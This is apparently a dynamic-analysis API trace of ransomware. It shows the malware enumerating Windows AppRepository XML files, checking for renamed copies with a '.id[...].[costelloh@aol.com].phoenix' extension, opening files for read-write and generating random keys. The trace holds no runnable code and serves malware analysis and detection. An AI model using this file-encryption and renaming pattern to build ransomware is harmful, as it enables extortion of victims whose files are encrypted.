	[0230.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.043] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.043] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1191) returned 1
	[0230.043] CloseHandle (hObject=0x2f4) returned 1
	[0230.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.044] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.044] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.044] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.044] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1175) returned 1
	[0230.044] CloseHandle (hObject=0x2f4) returned 1
	[0230.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.044] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.045] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.045] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.045] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1175) returned 1
	[0230.045] CloseHandle (hObject=0x2f4) returned 1
	[0230.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.045] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.045] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.045] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.045] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1156) returned 1
	[0230.045] CloseHandle (hObject=0x2f4) returned 1
	[0230.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.046] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.046] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.046] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.046] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1156) returned 1
	[0230.046] CloseHandle (hObject=0x2f4) returned 1
	[0230.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.046] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.046] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.046] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.046] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1175) returned 1
	[0230.047] CloseHandle (hObject=0x2f4) returned 1
	[0230.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.047] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.047] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.047] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.047] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1175) returned 1
	[0230.047] CloseHandle (hObject=0x2f4) returned 1
	[0230.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.048] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.048] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.048] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.048] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=46430) returned 1
	[0230.048] CloseHandle (hObject=0x2f4) returned 1
	[0230.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.048] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.048] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.048] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.049] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15262) returned 1
	[0230.049] CloseHandle (hObject=0x2f4) returned 1
	[0230.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.049] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.049] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.049] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.049] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15264) returned 1
	[0230.049] CloseHandle (hObject=0x2f4) returned 1
	[0230.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.050] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.onenote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.050] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.050] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.050] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=31666) returned 1
	[0230.050] CloseHandle (hObject=0x2f4) returned 1
	[0230.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.051] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.051] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.051] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.052] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=9363) returned 1
	[0230.052] CloseHandle (hObject=0x2f4) returned 1
	[0230.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.052] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.office.sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.052] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.052] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
